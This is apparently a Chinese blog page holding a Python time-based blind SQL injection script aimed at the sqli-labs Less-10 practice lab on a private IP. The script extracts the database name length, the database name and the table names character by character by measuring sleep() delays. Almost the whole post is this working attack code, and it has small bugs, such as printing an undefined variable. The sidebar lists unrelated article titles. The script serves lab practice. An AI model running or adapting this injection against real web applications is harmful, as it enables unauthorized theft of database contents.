当前位置:网站首页>时间盲注脚本
时间盲注脚本
2022-08-03 05:22:00 【wuqinghalasao】
import requests,time,string # 假设页面无任何回显需要用到时间注入 url='http://192.168.28.133/sqli-labs-master/Less-10/?id=1" and ' a1=0 for a in range(10): start=time.time() res=requests.get(f"{url}if(length(database())={a},sleep(2),1)-- -") response = res.text end=time.time() if end-start>1: a1=a print(f'库名长度为{a1}') break low = 'abcdefghijklmnopqrstuvw,xyz' res1='' for a2 in range(a1+1): for a3 in low: start = time.time() res3 = requests.get(f"{url}if(substr(database(),{a2},1)='{a3}',sleep(2),1)-- - ") response4=res3.text end = time.time() if end-start>1: res1+=a3 print(f'库名为{res1}') # 查表数量,不需要判断表的数量,直接gruop_concat res8=[] # 取表名 res7 = '' for a7 in range(1,60): for a8 in low: start = time.time() res6 = requests.get(f"{url}if(substr((SELECT group_concat(table_name) from information_schema.tables where table_schema='{res1}'),{a7},1)='{a8}',sleep(3),1) ") response6=res6.text end = time.time() if end - start > 2: res7+=a8 res8.append(res7) print(res8) print(f'数据库{res4}有{res8}表')
边栏推荐
- 中国人力资源服务行业投资建议与前景战略规划研究报告2022~2028年
- 一劳永逸解决vs编译器无法使用scanf函数
- Go (一) 基础部分3 -- 数组,切片(append,copy),map,指针
- 【按位取反,逻辑操作符,条件操作符,逗号表达式,下标引用,函数调用,结构体】操作符后续+表达式求值(上)
- 【HQL】(一)json字符串处理json_tuple和get_json_object
- 中国生物降解塑料行业市场运营态势及发展趋势研究报告2022~2028年
- [CSRF, SSRF, XXE, PHP deserialization, Burpsuite]
- pta a.1003 的收获
- 【打印菱形】
- 动态调整web主题(2) 萃取篇
猜你喜欢
随机推荐
TypeError: Cannot read property ‘xxxx‘ of undefined的解决方法
arm64麒麟安装paddlehub(国产化)注意事项
动态规划笔记
C语言简单实现扫雷小游戏
MySQL 唯一索引 UNIQUE KEY 会导致死锁?
用iPhone前摄3D人像建模,Meta:我看行
中国融资租赁行业市场投资分析与前景战略规划建议报告2022~2028年
Apache2-XXE漏洞渗透
关于semantic-ui的cdn失效问题(怎样通过本地引用semantic-ui)
Sentinel初次使用Demo测试
中国生活垃圾处理行业十四五规划与投融资模式分析报告2022~2028年
【XSS,文件上传,文件包含】
【frp内网穿透】
MySql 怎么查出符合条件的最新的数据行?
ansible的安装和部署详细过程,配置清单基本操作
一维数组和二维数组的命名以及存储空间
下拉框数据字典应用案例
Ansible installation and deployment detailed process, basic operation of configuration inventory
边缘辅助无人机网络的分层联邦学习
【数组排序】+日常